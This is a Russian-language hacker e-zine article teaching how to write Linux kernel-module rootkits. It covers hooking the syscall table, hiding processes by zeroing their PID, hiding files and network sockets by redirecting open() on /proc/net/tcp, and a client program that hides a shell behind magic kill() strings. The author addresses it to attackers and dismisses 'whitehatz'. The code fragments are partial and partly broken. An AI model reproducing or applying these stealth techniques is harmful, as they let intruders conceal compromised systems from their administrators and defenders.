[ Prev Page | Goto Content | Next Page ] =/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ LKM rootkitz trickz %----------------------% 0x84000001 - <__init__> 0x84000002 - <task_struct> 0x84000003 - <hide_proc> 0x84000004 - <get_current> 0x84000005 - <find_task_by_pid> 0x84000006 - <invisible_philez> 0x84000007 - <invisible_socketz> 0x84000008 - <__cleanup__> disassemble __init__ (0x84000001) : В этой доке хотелось бы рассказать про lkm руткиты и методы, с помощью которых осуществляется прятание процессов, файлов, сокетов, etc. На самом деле ничего особо хитрого тут нету, так что написать такой софт может любой у кого на месте голова (sorry whitehatz, ur exclude). Здесь я не буду рассказывать как написать, скомпилить и загрузить в ядро lkm, а сосредоточусь лучше на его функциях. disassemble task_struct (0x84000002) : Взято из <linux/sched.h> : struct task_struct { /* * offsets of these are hardcoded elsewhere - touch with care */ volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ unsigned long flags; /* per process flags, defined below */ int sigpending; mm_segment_t addr_limit; /* thread address space: 0-0xBFFFFFFF for user-thead 0-0xFFFFFFFF for kernel-thread */ struct exec_domain *exec_domain; volatile long need_resched; unsigned long ptrace; int lock_depth; /* Lock depth */ /* * offset 32 begins here on 32-bit platforms. We keep * all fields in a single cacheline that are needed for * the goodness() loop in schedule(). */ long counter; long nice; unsigned long policy; struct mm_struct *mm; int has_cpu, processor; unsigned long cpus_allowed; /* * (only the 'next' pointer fits into the cacheline, but * that's just fine.) */ struct list_head run_list; unsigned long sleep_time; struct task_struct *next_task, *prev_task; struct mm_struct *active_mm; /* task state */ struct linux_binfmt *binfmt; int exit_code, exit_signal; int pdeath_signal; /* The signal sent when the parent dies */ /* ??? */ unsigned long personality; int dumpable:1; int did_exec:1; pid_t pid; pid_t pgrp; pid_t tty_old_pgrp; pid_t session; pid_t tgid; /* boolean value for session group leader */ int leader; /* * pointers to (original) parent process, youngest child, younger sibling, * older sibling, respectively. (p->father can be replaced with * p->p_pptr->pid) */ struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct list_head thread_group; /* PID hash table linkage. */ struct task_struct *pidhash_next; struct task_struct **pidhash_pprev; wait_queue_head_t wait_chldexit; /* for wait4() */ struct semaphore *vfork_sem; /* for vfork() */ unsigned long rt_priority; /* 0x96 0x9a 0x9e */ unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; struct tms times; unsigned long start_time; long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS]; /* mm fault and swap info: this can arguably be seen as either mm-specific or thread-specific */ /* 0xc2 0xc6 0xca 0xce 0xd2 0xd6 */ unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; /* process credentials */ /* 0xdc 0xde 0xe0 0xe2 */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; int ngroups; gid_t groups[NGROUPS]; /* 0x0f0 0x0f4 0x0f8 0x0fc */ kernel_cap_t cap_effective, cap_inheritable, cap_permitted; int keep_capabilities:1; struct user_struct *user; /* limits */ struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; /* file system info */ int link_count; struct tty_struct *tty; /* NULL if no tty */ unsigned int locks; /* How many file locks are being held */ /* ipc stuff */ struct sem_undo *semundo; struct sem_queue *semsleeping; /* CPU-specific state of this task */ struct thread_struct thread; /* filesystem information */ struct fs_struct *fs; /* open file information */ struct files_struct *files; /* signal handlers */ spinlock_t sigmask_lock; /* Protects signal and blocked */ struct signal_struct *sig; sigset_t blocked; struct sigpending pending; unsigned long sas_ss_sp; size_t sas_ss_size; int (*notifier)(void *priv); void *notifier_data; sigset_t *notifier_mask; /* Thread group tracking */ u32 parent_exec_id; u32 self_exec_id; /* Protection of (de-)allocation: mm, files, fs, tty */ spinlock_t alloc_lock; }; Такой структурой описан каждый процесс. Это из серии "для тех кто поймёт" )) disassemble hide_proc (0x84000003) : Итак, когда процесс обращается к ядру (int 80h) он передаёт ему номер системного вызова (регистр %eax/%ax/%al) и далее даёт список аргументов. Ядро смотрит по sys_call_table какой програмной функции соответствует номер вызова и передаёт ему управление. Это выглядит так: sys_call_table <some_addr_in_memory>: 0x00 offset: <addr_of_function_exit()> 0x04 offset: <addr_of_function_fork()> 0x08 offset: <addr_of_function_read()> 0x0c offset: <addr_of_function_write()> ... Перехват функции, скажем write(), - это замена в sys_call_table адреса старой функции write() адресом новой... ну об этом писали сотни раз, так что продолжим. Когда процесс после обращения к ядру переходит из режима пользователя в режим ядра (защищённый режим) ссылка на структуру task_struct вызывающего процесса доступна в current (ака get_current()). Вот как спрятать процесс (из адуры): current->exit_code = current->pid; /* временно сохраняем pid */ current->pid = 0; /* теперь процесс невидим )) */ А перед выходом нужно вернуть pid на место: current->pid = current->exit_code; current->exit_code = 0; Иначе случится kernel panic или начнутся баги (хых, меня вегда это веселит %) Не так давно я наблюдал забавный эфект matrix-own-you когда писал lkm на асме)). Вообще, есть два основных способа чтобы прятать процессы безболезненно: нужно либо перехватывать вызов getdents (грубо говоря она выдаёт список файлов в директории) для диры /proc и перед этим обнулять pid наших спрятанных процессов, а после восстанавливать их. Процесс быдет не виден при обращении к /proc,тоесть ps и тому подобное отдыхает. Второй способ: сразу ставим pid процесса ноль(перед этим конечно стоит сохранить старое значение, скажем в exit_code) и далее при вызовах, которые критически относятся к нашему pid временно выставлять его оригинальное значение. Список основных таких syscall'ов: fork(), // не стоит вызывать fork() при текущем pid == 0 ;) vfork(), // --``-- clone(), // --``-- kill(), // при попытке убить наш секретный процесс с pid == 0 kernel panic обеспечен ) getpid(), // чтобы получать нормальный pid при вызове из спрятанного процесса getppid(), // если роительский процесс секретный, то берём его оригинальный pid: return current->p_pptr->exit_code; waitpid(), exit() А вот пример проги-клиента: /* допустим мы перехватили функцию kill().. */ #include <stdio.h> #include <unistd.h> <bla-bla-bla> #define PF_HIDEPROC "MASTURBATING BEAR AND FUCKING MONKEY 666" #define PF_UNHIDEPROC "SkyWalKeR WAs H3rE yeha-ho-ho" int main() { kill(PF_HIDEPROC,getpid())); <bind-shell code here, maybe not ;)> system("/bin/sh"); kill(PF_UNHIDEPROC,getpid()); exit(0); } Кстати, мы также можем обращаться к родительскому/дочернему процессам : struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; current->p_opptr - original parent process current->p_pptr - parent process current->p_cptr - child process current->p_ysptr - youngest child process current->p_osptr - oldest child process Это может пригодиться в дальнейшем, скажем чтобы прятать дочерние процессы. disassemble get_current (0x84000004): Ещё стоит сказать пару слов о current. Взято из <asm/current.h> : #ifndef _I386_CURRENT_H #define _I386_CURRENT_H struct task_struct; static inline struct task_struct * get_current(void) { struct task_struct *current; __asm__("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL)); return current; } #define current get_current() #endif /* !(_I386_CURRENT_H) */ Это если кому захочется на асм переводить свой руткит... disassemble find_task_by_pid (0x84000005) : Довольно удобная фишка, да и вообще полезно знать как работать с task'ами. Вообще, есть стандартный вариант этой функции (смотри linux/sched.h), но он не очень удобен. Да и к тому же, интереснее самому разобраться. Итак, мы объявляем структуру task_struct, скажем под названием inittask. При загрузке модуля мы прогоняем все задачи и кладём в inittask указатель на task_struct init'a (с pid равным 1 соответственно): struct task_struct *inittask; <skipped lotz of shit> int init_module(){ ... struct task_struct *f; for (f = get_current(); f->pid != 1; f=f->next_task) ; inittask=f; ... Теперь мы можем искать процесс более удобно. Вот пример функции, которая берёт pid и возвращает указатель на task-структуру данного процесса: static inline struct task_struct *find_task_by_pid(int pid) struct task_struct *k; if (pid < 3) return -1; // чтоб не искать зря init,swapper или несуществующий // процесс for (k=inittask->next_task; k->pid != 1; k = k->next_task){ if (k->pid == pid) return k; } return 0; } disassemble invisible_philez (0x84000006) : Это уже из разряда легче не бывает )) Можно юзать (как в sk) особое имя файла, например *.u_cant_c_me. А далее перехватом open() делаем файлы с такой маской невидимыми... hook(utime); hook(oldstat); hook(oldlstat); hook(oldfstat); hook(stat); hook(lstat); hook(fstat); hook(stat64); hook(lstat64); hook(fstat64); hook(creat); hook(unlink); hook(readlink); Это из исходников sk-1.3. Вот эти syscallz и нужно перехватывать чтобы ныкать файлы... Даже не интересно ) Вот пример из моих lkm-наработок: static int n_open(char *filename,unsigned int flags, mode_t mode){ unsigned int ret; mm_segment_t oldf; lock_kernel(); oldf = current->addr_limit; // вообще-то тут будет 0xbfffffff... // so, its just in case... ret = 0; if (mode != 1337){ // мы можем читать оригинальыне файлы (без редиректа), если // юзаем наш ключик в mode. memset(¤t->addr_limit,0xff,4); // 0xffffffff - kernel limit if (strcmp(filename,"/proc/net/tcp")==0) ret = b_open("/usr/share/..hacked.tcp",O_RDONLY,0444); __memcpy(¤t->addr_limit,&oldf,4); // возвращаем назад лимит. } if (ret == 0) ret = b_open(filename,flags,mode); unlock_kernel(); return ret; } disassemble invisible_socketz (0x84000007) : Тут есть весьма простой способ: т.к. всю инфу netstat чиатет из /proc/net/tcp^ udp^raw^etc, а значит можно сделать простой редирект (перехватом syscall'a open) из /proc/net/tcp (4 xmpl) в /usr/share/xak.tcp. Далее, вешаем невидимый процесс, который читает оригинальный список сокетов и переносит записи, в которых нету упоминания о наших сокетах, в /usr/share/xak.tcp.Это просто, практично и кажется именно так прячет сокеты sk. Вот небольшой совет : записи из /proc/net/tcp можно загонять в структуру. Длина каждой строки - 150 символов. В дире include лежит небольшой пример - sock_hider.c. Эта прога эмулирует работу руткита, прячющего tcp-сокеты. Она создаёт файл hacked.tcp, в котором показывает как будет выглядеть /proc/net/tcp. Прячет порт 79, тоесть если на нём есть какая-то активность то в hacked.tcp этого не видно. Может кому-то будет интересен алгоритм... disassemble __cleanup__ (0x84000008) : Вот такие дела. Чтобы получше разобраться в lkm-rootkitz кодинге конечно нужна практика, ну и инфа. Очень много инфы можно найти в инклудах и манах, так что это дело желания - ничего сложного тут нет. Удачи! [ Prev Page | Goto Content | Next Page ]